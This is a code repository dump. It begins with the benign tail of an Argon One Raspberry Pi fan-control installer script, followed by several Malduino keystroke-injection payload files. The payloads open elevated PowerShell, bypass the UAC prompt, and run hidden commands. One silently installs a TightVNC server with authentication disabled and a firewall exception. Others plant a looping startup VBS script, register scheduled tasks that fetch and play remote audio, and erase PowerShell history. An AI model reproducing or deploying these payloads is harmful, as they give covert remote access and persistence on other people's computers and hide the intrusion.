" except:" >> $shutdownscript 134 | echo " rev=0" >> $shutdownscript 135 | echo >> $shutdownscript 136 | 137 | sudo chmod 755 $shutdownscript 138 | 139 | 140 | echo "*****************************************************" 141 | echo "Step 4 - generating $powerbuttonscript" 142 | echo "*****************************************************" 143 | 144 | # NOTE(cme): this generates the script to monitor if someone 145 | # presses the power button; migrated to python 3 146 | 147 | # Generate script to monitor shutdown button 148 | 149 | argon_create_file $powerbuttonscript 150 | 151 | echo "#!/usr/bin/python3" >> $powerbuttonscript 152 | echo >> $powerbuttonscript 153 | 154 | echo 'import smbus' >> $powerbuttonscript 155 | echo 'import RPi.GPIO as GPIO' >> $powerbuttonscript 156 | echo 'import os' >> $powerbuttonscript 157 | echo 'import time' >> $powerbuttonscript 158 | echo >> $powerbuttonscript 159 | 160 | echo 'from threading import Thread' >> $powerbuttonscript 161 | echo 'rev = GPIO.RPI_REVISION' >> $powerbuttonscript 162 | echo 'if rev == 2 or rev == 3:' >> $powerbuttonscript 163 | echo ' bus = smbus.SMBus(1)' >> $powerbuttonscript 164 | echo 'else:' >> $powerbuttonscript 165 | echo ' bus = smbus.SMBus(0)' >> $powerbuttonscript 166 | echo >> $powerbuttonscript 167 | 168 | echo 'GPIO.setwarnings(False)' >> $powerbuttonscript 169 | echo 'GPIO.setmode(GPIO.BCM)' >> $powerbuttonscript 170 | echo 'shutdown_pin=4' >> $powerbuttonscript 171 | echo 'GPIO.setup(shutdown_pin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)' >> $powerbuttonscript 172 | echo >> $powerbuttonscript 173 | 174 | echo 'def shutdown_check():' >> $powerbuttonscript 175 | echo ' while True:' >> $powerbuttonscript 176 | echo ' pulsetime = 1' >> $powerbuttonscript 177 | echo ' GPIO.wait_for_edge(shutdown_pin, GPIO.RISING)' >> $powerbuttonscript 178 | echo ' time.sleep(0.01)' >> $powerbuttonscript 179 | echo ' while GPIO.input(shutdown_pin) == GPIO.HIGH:' >> $powerbuttonscript 180 | echo ' time.sleep(0.01)' >> $powerbuttonscript 181 | echo ' pulsetime += 1' >> $powerbuttonscript 182 | echo ' if pulsetime >=2 and pulsetime <=3:' >> $powerbuttonscript 183 | echo ' print("Rebooting...")' >> $powerbuttonscript 184 | echo ' os.system("reboot")' >> $powerbuttonscript 185 | echo ' elif pulsetime >=4 and pulsetime <=5:' >> $powerbuttonscript 186 | echo ' print("Shuting down...")' >> $powerbuttonscript 187 | echo ' os.system("shutdown now")' >> $powerbuttonscript 188 | echo >> $powerbuttonscript 189 | 190 | 191 | echo 'def get_fanspeed(tempval, configlist):' >> $powerbuttonscript 192 | echo ' for curconfig in configlist:' >> $powerbuttonscript 193 | echo ' curpair = curconfig.split("=")' >> $powerbuttonscript 194 | echo ' tempcfg = float(curpair[0])' >> $powerbuttonscript 195 | echo ' fancfg = int(float(curpair[1]))' >> $powerbuttonscript 196 | echo ' if tempval >= tempcfg:' >> $powerbuttonscript 197 | echo ' return fancfg' >> $powerbuttonscript 198 | echo ' return 0' >> $powerbuttonscript 199 | echo >> $powerbuttonscript 200 | 201 | 202 | echo 'def load_config(fname):' >> $powerbuttonscript 203 | echo ' newconfig = []' >> $powerbuttonscript 204 | echo ' try:' >> $powerbuttonscript 205 | echo ' with open(fname, "r") as fp:' >> $powerbuttonscript 206 | echo ' for curline in fp:' >> $powerbuttonscript 207 | echo ' if not curline:' >> $powerbuttonscript 208 | echo ' continue' >> $powerbuttonscript 209 | echo ' tmpline = curline.strip()' >> $powerbuttonscript 210 | echo ' if not tmpline:' >> $powerbuttonscript 211 | echo ' continue' >> $powerbuttonscript 212 | echo ' if tmpline[0] == "#":' >> $powerbuttonscript 213 | echo ' continue' >> $powerbuttonscript 214 | echo ' tmppair = tmpline.split("=")' >> $powerbuttonscript 215 | echo ' if len(tmppair) != 2:' >> $powerbuttonscript 216 | echo ' continue' >> $powerbuttonscript 217 | echo ' tempval = 0' >> $powerbuttonscript 218 | echo ' fanval = 0' >> $powerbuttonscript 219 | echo ' try:' >> $powerbuttonscript 220 | echo ' tempval = float(tmppair[0])' >> $powerbuttonscript 221 | echo ' if tempval < 0 or tempval > 100:' >> $powerbuttonscript 222 | echo ' continue' >> $powerbuttonscript 223 | echo ' except:' >> $powerbuttonscript 224 | echo ' continue' >> $powerbuttonscript 225 | echo ' try:' >> $powerbuttonscript 226 | echo ' fanval = int(float(tmppair[1]))' >> $powerbuttonscript 227 | echo ' if fanval < 0 or fanval > 100:' >> $powerbuttonscript 228 | echo ' continue' >> $powerbuttonscript 229 | echo ' except:' >> $powerbuttonscript 230 | echo ' continue' >> $powerbuttonscript 231 | echo ' newconfig.append( "{:5.1f}={}".format(tempval,fanval))' >> $powerbuttonscript 232 | echo ' if len(newconfig) > 0:' >> $powerbuttonscript 233 | echo ' newconfig.sort(reverse=True)' >> $powerbuttonscript 234 | echo ' except:' >> $powerbuttonscript 235 | echo ' return []' >> $powerbuttonscript 236 | echo ' return newconfig' >> $powerbuttonscript 237 | echo >> $powerbuttonscript 238 | 239 | echo 'def temp_check():' >> $powerbuttonscript 240 | echo ' fanconfig = ["65=100", "60=55", "55=10"]' >> $powerbuttonscript 241 | echo ' tmpconfig = load_config("'$daemonconfigfile'")' >> $powerbuttonscript 242 | echo ' if len(tmpconfig) > 0:' >> $powerbuttonscript 243 | echo ' fanconfig = tmpconfig' >> $powerbuttonscript 244 | echo ' address=0x1a' >> $powerbuttonscript 245 | echo ' prevblock=0' >> $powerbuttonscript 246 | echo ' while True:' >> $powerbuttonscript 247 | 248 | 249 | # NOTE(cme): AFAIK vcgencmd is not available on ubuntu, so use sysfs instead 250 | #echo ' temp = os.popen("vcgencmd measure_temp").readline()' >> $powerbuttonscript 251 | #echo ' temp = temp.replace("temp=","")' >> $powerbuttonscript 252 | #echo ' val = float(temp.replace("'"'"'C",""))' >> $powerbuttonscript 253 | 254 | echo ' with open("/sys/class/thermal/thermal_zone0/temp", "r") as fp:' >> $powerbuttonscript 255 | echo ' temp = fp.readline()' >> $powerbuttonscript 256 | echo ' val = float(int(temp)/1000)' >> $powerbuttonscript 257 | 258 | 259 | echo ' block = get_fanspeed(val, fanconfig)' >> $powerbuttonscript 260 | echo ' if block < prevblock:' >> $powerbuttonscript 261 | echo ' time.sleep(30)' >> $powerbuttonscript 262 | echo ' prevblock = block' >> $powerbuttonscript 263 | echo ' try:' >> $powerbuttonscript 264 | echo ' bus.write_byte(address,block)' >> $powerbuttonscript 265 | echo ' except IOError:' >> $powerbuttonscript 266 | echo ' temp=""' >> $powerbuttonscript 267 | echo ' time.sleep(30)' >> $powerbuttonscript 268 | echo >> $powerbuttonscript 269 | 270 | echo 'try:' >> $powerbuttonscript 271 | echo ' t1 = Thread(target = shutdown_check)' >> $powerbuttonscript 272 | echo ' t2 = Thread(target = temp_check)' >> $powerbuttonscript 273 | echo ' t1.start()' >> $powerbuttonscript 274 | echo ' t2.start()' >> $powerbuttonscript 275 | echo 'except:' >> $powerbuttonscript 276 | echo ' t1.stop()' >> $powerbuttonscript 277 | echo ' t2.stop()' >> $powerbuttonscript 278 | echo ' GPIO.cleanup()' >> $powerbuttonscript 279 | echo >> $powerbuttonscript 280 | 281 | sudo chmod 755 $powerbuttonscript 282 | 283 | echo "*****************************************************" 284 | echo "Step 5 - generating $daemonfanservice" 285 | echo "*****************************************************" 286 | 287 | argon_create_file $daemonfanservice 288 | 289 | # Fan Daemon 290 | echo "[Unit]" >> $daemonfanservice 291 | echo "Description=Argon One Fan and Button Service" >> $daemonfanservice 292 | echo "After=multi-user.target" >> $daemonfanservice 293 | echo '[Service]' >> $daemonfanservice 294 | echo 'Type=simple' >> $daemonfanservice 295 | echo "Restart=always" >> $daemonfanservice 296 | echo "RemainAfterExit=true" >> $daemonfanservice 297 | echo "ExecStart=/usr/bin/python3 $powerbuttonscript" >> $daemonfanservice 298 | echo '[Install]' >> $daemonfanservice 299 | echo "WantedBy=multi-user.target" >> $daemonfanservice 300 | 301 | sudo chmod 644 $daemonfanservice 302 | 303 | echo "*****************************************************" 304 | echo "Step 6 - generating $removescript" 305 | echo "*****************************************************" 306 | 307 | argon_create_file $removescript 308 | 309 | # Uninstall Script 310 | echo '#!/bin/bash' >> $removescript 311 | echo 'echo "-------------------------"' >> $removescript 312 | echo 'echo "Argon One Uninstall Tool"' >> $removescript 313 | echo 'echo "-------------------------"' >> $removescript 314 | echo 'echo -n "Press Y to continue:"' >> $removescript 315 | echo 'read -n 1 confirm' >> $removescript 316 | echo 'echo' >> $removescript 317 | echo 'if [ "$confirm" = "y" ]' >> $removescript 318 | echo 'then' >> $removescript 319 | echo ' confirm="Y"' >> $removescript 320 | echo 'fi' >> $removescript 321 | echo '' >> $removescript 322 | echo 'if [ "$confirm" != "Y" ]' >> $removescript 323 | echo 'then' >> $removescript 324 | echo ' echo "Cancelled"' >> $removescript 325 | echo ' exit' >> $removescript 326 | echo 'fi' >> $removescript 327 | 328 | # NOTE(cme): don't assume /home/pi 329 | # echo 'if [ -d "/home/pi/Desktop" ]; then' >> $removescript 330 | # echo ' sudo rm "/home/pi/Desktop/argonone-config.desktop"' >> $removescript 331 | # echo ' sudo rm "/home/pi/Desktop/argonone-uninstall.desktop"' >> $removescript 332 | 333 | echo "if [ -d "$desktop" ]; then" >> $removescript 334 | echo " sudo rm \"$desktop/argonone-config.desktop\"" >> $removescript 335 | echo " sudo rm \"$desktop/argonone-uninstall.desktop\"" >> $removescript 336 | 337 | echo 'fi' >> $removescript 338 | echo 'if [ -f '$powerbuttonscript' ]; then' >> $removescript 339 | echo ' sudo systemctl stop '$daemonname'.service' >> $removescript 340 | echo ' sudo systemctl disable '$daemonname'.service' >> $removescript 341 | echo ' sudo /usr/bin/python3 '$shutdownscript' uninstall' >> $removescript 342 | echo ' sudo rm '$powerbuttonscript >> $removescript 343 | echo ' sudo rm '$shutdownscript >> $removescript 344 | echo ' sudo rm '$removescript >> $removescript 345 | echo ' echo "Removed Argon One Services."' >> $removescript 346 | echo ' echo "Cleanup will complete after restarting the device."' >> $removescript 347 | echo 'fi' >> $removescript 348 | 349 | sudo chmod 755 $removescript 350 | 351 | 352 | echo "*****************************************************" 353 | echo "Step 7 - generating $configscript" 354 | echo "*****************************************************" 355 | 356 | argon_create_file $configscript 357 | 358 | # Config Script 359 | echo '#!/bin/bash' >> $configscript 360 | echo 'daemonconfigfile=/etc/'$daemonname'.conf' >> $configscript 361 | echo 'echo "--------------------------------------"' >> $configscript 362 | echo 'echo "Argon One Fan Speed Configuration Tool"' >> $configscript 363 | echo 'echo "--------------------------------------"' >> $configscript 364 | echo 'echo "WARNING: This will remove existing configuration."' >> $configscript 365 | echo 'echo -n "Press Y to continue:"' >> $configscript 366 | echo 'read -n 1 confirm' >> $configscript 367 | echo 'echo' >> $configscript 368 | echo 'if [ "$confirm" = "y" ]' >> $configscript 369 | echo 'then' >> $configscript 370 | echo ' confirm="Y"' >> $configscript 371 | echo 'fi' >> $configscript 372 | echo '' >> $configscript 373 | echo 'if [ "$confirm" != "Y" ]' >> $configscript 374 | echo 'then' >> $configscript 375 | echo ' echo "Cancelled"' >> $configscript 376 | echo ' exit' >> $configscript 377 | echo 'fi' >> $configscript 378 | echo 'echo "Thank you."' >> $configscript 379 | 380 | echo 'get_number () {' >> $configscript 381 | echo ' read curnumber' >> $configscript 382 | echo ' re="^[0-9]+$"' >> $configscript 383 | echo ' if [ -z "$curnumber" ]' >> $configscript 384 | echo ' then' >> $configscript 385 | echo ' echo "-2"' >> $configscript 386 | echo ' return' >> $configscript 387 | echo ' elif [[ $curnumber =~ ^[+-]?[0-9]+$ ]]' >> $configscript 388 | echo ' then' >> $configscript 389 | echo ' if [ $curnumber -lt 0 ]' >> $configscript 390 | echo ' then' >> $configscript 391 | echo ' echo "-1"' >> $configscript 392 | echo ' return' >> $configscript 393 | echo ' elif [ $curnumber -gt 100 ]' >> $configscript 394 | echo ' then' >> $configscript 395 | echo ' echo "-1"' >> $configscript 396 | echo ' return' >> $configscript 397 | echo ' fi ' >> $configscript 398 | echo ' echo $curnumber' >> $configscript 399 | echo ' return' >> $configscript 400 | echo ' fi' >> $configscript 401 | echo ' echo "-1"' >> $configscript 402 | echo ' return' >> $configscript 403 | echo '}' >> $configscript 404 | echo '' >> $configscript 405 | 406 | echo 'loopflag=1' >> $configscript 407 | echo 'while [ $loopflag -eq 1 ]' >> $configscript 408 | echo 'do' >> $configscript 409 | echo ' echo' >> $configscript 410 | echo ' echo "Select fan mode:"' >> $configscript 411 | echo ' echo " 1. Always on"' >> $configscript 412 | echo ' echo " 2. Adjust to temperatures (55C, 60C, and 65C)"' >> $configscript 413 | echo ' echo " 3. Customize behavior"' >> $configscript 414 | echo ' echo " 4. Cancel"' >> $configscript 415 | echo ' echo "NOTE: You can also edit $daemonconfigfile directly"' >> $configscript 416 | echo ' echo -n "Enter Number (1-4):"' >> $configscript 417 | echo ' newmode=$( get_number )' >> $configscript 418 | echo ' if [[ $newmode -ge 1 && $newmode -le 4 ]]' >> $configscript 419 | echo ' then' >> $configscript 420 | echo ' loopflag=0' >> $configscript 421 | echo ' fi' >> $configscript 422 | echo 'done' >> $configscript 423 | 424 | echo 'echo' >> $configscript 425 | echo 'if [ $newmode -eq 4 ]' >> $configscript 426 | echo 'then' >> $configscript 427 | echo ' echo "Cancelled"' >> $configscript 428 | echo ' exit' >> $configscript 429 | echo 'elif [ $newmode -eq 1 ]' >> $configscript 430 | echo 'then' >> $configscript 431 | echo ' echo "#" > $daemonconfigfile' >> $configscript 432 | echo ' echo "# Argon One Fan Speed Configuration" >> $daemonconfigfile' >> $configscript 433 | echo ' echo "#" >> $daemonconfigfile' >> $configscript 434 | echo ' echo "# Min Temp=Fan Speed" >> $daemonconfigfile' >> $configscript 435 | echo ' echo 1"="100 >> $daemonconfigfile' >> $configscript 436 | echo ' sudo systemctl restart '$daemonname'.service' >> $configscript 437 | echo ' echo "Fan always on."' >> $configscript 438 | echo ' exit' >> $configscript 439 | echo 'elif [ $newmode -eq 2 ]' >> $configscript 440 | echo 'then' >> $configscript 441 | echo ' echo "Please provide fan speeds for the following temperatures:"' >> $configscript 442 | echo ' echo "#" > $daemonconfigfile' >> $configscript 443 | echo ' echo "# Argon One Fan Speed Configuration" >> $daemonconfigfile' >> $configscript 444 | echo ' echo "#" >> $daemonconfigfile' >> $configscript 445 | echo ' echo "# Min Temp=Fan Speed" >> $daemonconfigfile' >> $configscript 446 | echo ' curtemp=55' >> $configscript 447 | echo ' while [ $curtemp -lt 70 ]' >> $configscript 448 | echo ' do' >> $configscript 449 | echo ' errorfanflag=1' >> $configscript 450 | echo ' while [ $errorfanflag -eq 1 ]' >> $configscript 451 | echo ' do' >> $configscript 452 | echo ' echo -n ""$curtemp"C (0-100 only):"' >> $configscript 453 | echo ' curfan=$( get_number )' >> $configscript 454 | echo ' if [ $curfan -ge 0 ]' >> $configscript 455 | echo ' then' >> $configscript 456 | echo ' errorfanflag=0' >> $configscript 457 | echo ' fi' >> $configscript 458 | echo ' done' >> $configscript 459 | echo ' echo $curtemp"="$curfan >> $daemonconfigfile' >> $configscript 460 | echo ' curtemp=$((curtemp+5))' >> $configscript 461 | echo ' done' >> $configscript 462 | 463 | echo ' sudo systemctl restart '$daemonname'.service' >> $configscript 464 | echo ' echo "Configuration updated."' >> $configscript 465 | echo ' exit' >> $configscript 466 | echo 'fi' >> $configscript 467 | 468 | echo 'echo "Please provide fan speeds and temperature pairs"' >> $configscript 469 | echo 'echo' >> $configscript 470 | 471 | echo 'loopflag=1' >> $configscript 472 | echo 'paircounter=0' >> $configscript 473 | echo 'while [ $loopflag -eq 1 ]' >> $configscript 474 | echo 'do' >> $configscript 475 | echo ' errortempflag=1' >> $configscript 476 | echo ' errorfanflag=1' >> $configscript 477 | echo ' while [ $errortempflag -eq 1 ]' >> $configscript 478 | echo ' do' >> $configscript 479 | echo ' echo -n "Provide minimum temperature (in Celsius) then [ENTER]:"' >> $configscript 480 | echo ' curtemp=$( get_number )' >> $configscript 481 | echo ' if [ $curtemp -ge 0 ]' >> $configscript 482 | echo ' then' >> $configscript 483 | echo ' errortempflag=0' >> $configscript 484 | echo ' elif [ $curtemp -eq -2 ]' >> $configscript 485 | echo ' then' >> $configscript 486 | echo ' errortempflag=0' >> $configscript 487 | echo ' errorfanflag=0' >> $configscript 488 | echo ' loopflag=0' >> $configscript 489 | echo ' fi' >> $configscript 490 | echo ' done' >> $configscript 491 | echo ' while [ $errorfanflag -eq 1 ]' >> $configscript 492 | echo ' do' >> $configscript 493 | echo ' echo -n "Provide fan speed for "$curtemp"C (0-100) then [ENTER]:"' >> $configscript 494 | echo ' curfan=$( get_number )' >> $configscript 495 | echo ' if [ $curfan -ge 0 ]' >> $configscript 496 | echo ' then' >> $configscript 497 | echo ' errorfanflag=0' >> $configscript 498 | echo ' elif [ $curfan -eq -2 ]' >> $configscript 499 | echo ' then' >> $configscript 500 | echo ' errortempflag=0' >> $configscript 501 | echo ' errorfanflag=0' >> $configscript 502 | echo ' loopflag=0' >> $configscript 503 | echo ' fi' >> $configscript 504 | echo ' done' >> $configscript 505 | echo ' if [ $loopflag -eq 1 ]' >> $configscript 506 | echo ' then' >> $configscript 507 | echo ' if [ $paircounter -eq 0 ]' >> $configscript 508 | echo ' then' >> $configscript 509 | echo ' echo "#" > $daemonconfigfile' >> $configscript 510 | echo ' echo "# Argon One Fan Speed Configuration" >> $daemonconfigfile' >> $configscript 511 | echo ' echo "#" >> $daemonconfigfile' >> $configscript 512 | echo ' echo "# Min Temp=Fan Speed" >> $daemonconfigfile' >> $configscript 513 | echo ' fi' >> $configscript 514 | echo ' echo $curtemp"="$curfan >> $daemonconfigfile' >> $configscript 515 | echo ' ' >> $configscript 516 | echo ' paircounter=$((paircounter+1))' >> $configscript 517 | echo ' ' >> $configscript 518 | echo ' echo "* Fan speed will be set to "$curfan" once temperature reaches "$curtemp" C"' >> $configscript 519 | echo ' echo' >> $configscript 520 | echo ' fi' >> $configscript 521 | echo 'done' >> $configscript 522 | echo '' >> $configscript 523 | echo 'echo' >> $configscript 524 | echo 'if [ $paircounter -gt 0 ]' >> $configscript 525 | echo 'then' >> $configscript 526 | echo ' echo "Thank you! We saved "$paircounter" pairs."' >> $configscript 527 | echo ' sudo systemctl restart '$daemonname'.service' >> $configscript 528 | echo ' echo "Changes should take effect now."' >> $configscript 529 | echo 'else' >> $configscript 530 | echo ' echo "Cancelled, no data saved."' >> $configscript 531 | echo 'fi' >> $configscript 532 | 533 | sudo chmod 755 $configscript 534 | 535 | sudo systemctl daemon-reload 536 | sudo systemctl enable $daemonname.service 537 | 538 | sudo systemctl start $daemonname.service 539 | 540 | if [ -d "$desktop" ]; then 541 | sudo wget http://download.argon40.com/ar1config.png -O /usr/share/pixmaps/ar1config.png 542 | sudo wget http://download.argon40.com/ar1uninstall.png -O /usr/share/pixmaps/ar1uninstall.png 543 | # Create Shortcuts 544 | # NOTE(cme): don't assume /home/pi/ 545 | # shortcutfile="/home/pi/Desktop/argonone-config.desktop" 546 | shortcutfile="$desktop/argonone-config.desktop" 547 | echo "[Desktop Entry]" > $shortcutfile 548 | echo "Name=Argon One Configuration" >> $shortcutfile 549 | echo "Comment=Argon One Configuration" >> $shortcutfile 550 | echo "Icon=/usr/share/pixmaps/ar1config.png" >> $shortcutfile 551 | # NOTE(cme): don't assume lxterminal is installed 552 | # echo 'Exec=lxterminal -t "Argon One Configuration" --working-directory=/home/pi/ -e '$configscript >> $shortcutfile 553 | echo "Exec=$configscript" >> $shortcutfile 554 | 555 | echo "Type=Application" >> $shortcutfile 556 | echo "Encoding=UTF-8" >> $shortcutfile 557 | # NOTE(cme): use builtin terminal instead 558 | # echo "Terminal=false" >> $shortcutfile 559 | echo "Terminal=true" >> $shortcutfile 560 | echo "Categories=None;" >> $shortcutfile 561 | chmod 755 $shortcutfile 562 | 563 | # NOTE(cme): don't assume /home/pi/ 564 | shortcutfile="$desktop/argonone-uninstall.desktop" 565 | echo "[Desktop Entry]" > $shortcutfile 566 | echo "Name=Argon One Uninstall" >> $shortcutfile 567 | echo "Comment=Argon One Uninstall" >> $shortcutfile 568 | echo "Icon=/usr/share/pixmaps/ar1uninstall.png" >> $shortcutfile 569 | # NOTE(cme): don't assume lxterminal is installed 570 | # echo 'Exec=lxterminal -t "Argon One Uninstall" --working-directory=/home/pi/ -e '$removescript >> $shortcutfile 571 | echo "Exec=$removescript" >> $shortcutfile 572 | echo "Type=Application" >> $shortcutfile 573 | echo "Encoding=UTF-8" >> $shortcutfile 574 | # NOTE(cme): use builtin terminal instead 575 | # echo "Terminal=false" >> $shortcutfile 576 | echo "Terminal=true" >> $shortcutfile 577 | echo "Categories=None;" >> $shortcutfile 578 | chmod 755 $shortcutfile 579 | fi 580 | 581 | 582 | echo "*****************************************************" 583 | echo "Step 8 (extra) - generating $tempmonscript" 584 | echo "*****************************************************" 585 | 586 | #NOTE(cme): extra utility script to monitor the temperature of the CPU using sysfs 587 | 588 | argon_create_file $tempmonscript 589 | 590 | echo 'while true; do clear; date; echo "$(( $(cat /sys/class/thermal/thermal_zone0/temp) / 1000 ))°C"; sleep 1 ; done' >> $tempmonscript 591 | 592 | sudo chmod 755 $tempmonscript 593 | 594 | 595 | 596 | 597 | 598 | 599 | echo "***************************" 600 | echo "Argon One Setup Completed." 601 | echo "***************************" 602 | echo 603 | if [ -d "/home/pi/Desktop" ]; then 604 | echo Shortcuts created in your desktop. 605 | else 606 | echo Use 'argonone-config' to configure fan 607 | echo Use 'argonone-uninstall' to uninstall 608 | echo Use 'argonone-tempmon' to monitor the temperature 609 | fi -------------------------------------------------------------------------------- /Malduino Elite Scripts/0000.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | GUI r 3 | DELAY 1000 4 | STRING PowerShell Start-Process -Verb runAs PowerShell 5 | ENTER 6 | DELAY 5000 7 | ALT y 8 | ALT t 9 | DELAY 5000 10 | REM Resize PowerShell window 11 | STRING mode con cols=20 lines=1 12 | ENTER 13 | REM Run payload in hidden window 14 | STRING Start-Process -WindowStyle Hidden PowerShell " 15 | REM Payload 16 | STRING cd C:\Windows\Registry 17 | STRING taskkill /f /im Registry.exe 18 | STRING Unregister-ScheduledTask -TaskName Registry -Confirm:$false 19 | STRING attrib -s -h . 20 | STRING cd .. 21 | STRING Remove-Item -recurse -force Registry 22 | STRING Remove-MpPreference -ExclusionPath 'C:\Windows\Registry' 23 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 24 | ENTER 25 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0001.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | ESC 3 | DELAY 300 4 | GUI r 5 | DELAY 300 6 | STRING shell:startup 7 | ENTER 8 | DELAY 1500 9 | F4 10 | CTRL a 11 | CTRL x 12 | STRING cmd 13 | ENTER 14 | DELAY 2000 15 | ALT TAB 16 | DELAY 500 17 | ALT F4 18 | DELAY 1000 19 | STRING mode con cols=20 lines=1 20 | ENTER 21 | STRING cd .. & 22 | STRING echo Set oShell = CreateObject ("WScript.Shell") > TaskManager.vbs & 23 | STRING echo Do >> TaskManager.vbs & 24 | STRING echo x=msgbox("Task failed successfully" ,0+16, "Error") >> TaskManager.vbs & 25 | STRING echo oShell.run "TaskManager.vbs" >> TaskManager.vbs & 26 | STRING echo Loop >> TaskManager.vbs & 27 | STRING TaskManager.vbs & 28 | STRING echo Set oWS = WScript.CreateObject("WScript.Shell") > SC.vbs & 29 | STRING echo sLinkFile = " 30 | CTRL v 31 | STRING \TaskManager.lnk" >> SC.vbs & 32 | STRING echo Set oLink = oWS.CreateShortcut(sLinkFile) >> SC.vbs & 33 | STRING echo oLink.TargetPath = " 34 | CTRL v 35 | BACKSPACE 36 | REPEAT 6 37 | STRING TaskManager.vbs" >> SC.vbs & 38 | STRING echo oLink.WorkingDirectory = " 39 | CTRL v 40 | BACKSPACE 41 | REPEAT 7 42 | STRING " >> SC.vbs & 43 | STRING echo oLink.Save >> SC.vbs & 44 | STRING start SC.vbs & 45 | STRING timeout 1 & 46 | STRING del SC.vbs & 47 | STRING exit 48 | ENTER 49 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0010.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | ESC 3 | DELAY 300 4 | GUI r 5 | DELAY 300 6 | STRING shell:startup 7 | ENTER 8 | DELAY 500 9 | F4 10 | CTRL a 11 | STRING cmd 12 | ENTER 13 | DELAY 1500 14 | STRING mode con cols=20 lines=1 15 | ENTER 16 | STRING taskkill /f /im wscript.exe & 17 | STRING del TaskManager.lnk & 18 | STRING cd .. & 19 | STRING del TaskManager.vbs & 20 | STRING exit 21 | ENTER 22 | DELAY 1000 23 | ALT F4 24 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0011.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | GUI r 3 | DELAY 1000 4 | REM Start elevated PowerShell 5 | STRING PowerShell Start-Process -Verb runAs PowerShell 6 | ENTER 7 | DELAY 5000 8 | ALT y 9 | ALT t 10 | DELAY 5000 11 | REM Shrink PowerShell window 12 | STRING mode con cols=20 lines=1 13 | ENTER 14 | REM Run payload in hidden PowerShell window 15 | STRING Start-Process -WindowStyle Hidden PowerShell " 16 | REM Payload 17 | STRING cd C:\Windows; 18 | STRING (New-Object System.Net.WebClient).DownloadFile('https://github.com/Gyanbu/MalduinoScripts/raw/master/Tvnc.msi','C:\Windows\Tvnc.msi'); 19 | STRING msiexec.exe /i Tvnc.msi /quiet /norestart 20 | STRING ADDLOCAL='Server' 21 | STRING SERVER_REGISTER_AS_SERVICE=1 22 | STRING SERVER_ADD_FIREWALL_EXCEPTION=1 23 | STRING SERVER_ALLOW_SAS=1 24 | STRING SET_USEVNCAUTHENTICATION=1 25 | STRING VALUE_OF_USEVNCAUTHENTICATION=0 26 | STRING SET_REMOVEWALLPAPER=1 27 | STRING VALUE_OF_REMOVEWALLPAPER=0 28 | STRING SET_RUNCONTROLINTERFACE=1 29 | STRING VALUE_OF_RUNCONTROLINTERFACE=0 | Out-Null; 30 | STRING Remove-Item Tvnc.msi 31 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 32 | ENTER 33 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0100.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | GUI r 3 | DELAY 1000 4 | REM Start elevated PowerShell 5 | STRING PowerShell Start-Process -Verb runAs PowerShell 6 | ENTER 7 | DELAY 5000 8 | ALT y 9 | ALT t 10 | DELAY 5000 11 | REM Shrink PowerShell window 12 | STRING mode con cols=20 lines=1 13 | ENTER 14 | REM Run payload in hidden PowerShell window 15 | STRING Start-Process -WindowStyle Hidden PowerShell " 16 | REM Payload 17 | STRING cd C:\Windows; 18 | STRING (New-Object System.Net.WebClient).DownloadFile('https://github.com/Gyanbu/MalduinoScripts/raw/master/Tvnc.msi','C:\Windows\Tvnc.msi'); 19 | STRING msiexec.exe /x Tvnc.msi /quiet /norestart | Out-Null; 20 | STRING Remove-Item Tvnc.msi 21 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 22 | ENTER 23 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0101.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | GUI r 3 | DELAY 1000 4 | STRING PowerShell Start-Process -Verb runAs PowerShell 5 | ENTER 6 | DELAY 5000 7 | ALT y 8 | ALT t 9 | DELAY 5000 10 | REM Resize PowerShell window 11 | STRING mode con cols=20 lines=1 12 | ENTER 13 | REM Run payload in hidden window 14 | STRING Register-ScheduledTask Regedit 15 | STRING -Action (New-ScheduledTaskAction -Execute PowerShell -Argument "Start-process -WindowStyle Hidden PowerShell '(New-Object System.Media.SoundPlayer C:\Windows\Jjgw.wav).PlaySync()'") 16 | STRING -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1)) -f; 17 | STRING Start-Process -WindowStyle Hidden PowerShell " 18 | REM Payload 19 | STRING Invoke-WebRequest https://github.com/Gyanbu/MalduinoScripts/raw/master/Jjgw.wav -OutFile C:\Windows\Jjgw.wav 20 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 21 | ENTER 22 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0110.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | GUI r 3 | DELAY 1000 4 | STRING PowerShell Start-Process -Verb runAs PowerShell 5 | ENTER 6 | DELAY 5000 7 | ALT y 8 | ALT t 9 | DELAY 5000 10 | REM Resize PowerShell window 11 | STRING mode con cols=20 lines=1 12 | ENTER 13 | REM Run payload in hidden window 14 | STRING Start-Process -WindowStyle Hidden PowerShell " 15 | REM Payload 16 | STRING Remove-Item C:\Windows\Jjgw.wav; 17 | STRING Unregister-ScheduledTask -TaskName Regedit -Confirm:$false 18 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 19 | ENTER 20 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/0111.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | REM Open Run prompt 3 | GUI r 4 | DELAY 1000 5 | REM Start elevared PowerShell 6 | STRING PowerShell Start-Process -Verb runAs PowerShell 7 | ENTER 8 | DELAY 5000 9 | ALT y 10 | ALT t 11 | DELAY 5000 12 | REM Shrink PowerShell window 13 | STRING mode con cols=20 lines=1 14 | ENTER 15 | STRING Register-ScheduledTask vlc 16 | STRING -Action (New-ScheduledTaskAction -Execute 'C:\Windows\VLC\vlc.exe' -Argument "-I null rtsp://192.168.0.16:6969/Music.sdp --loop" -WorkingDirectory 'C:\Windows\VLC') 17 | STRING -Trigger 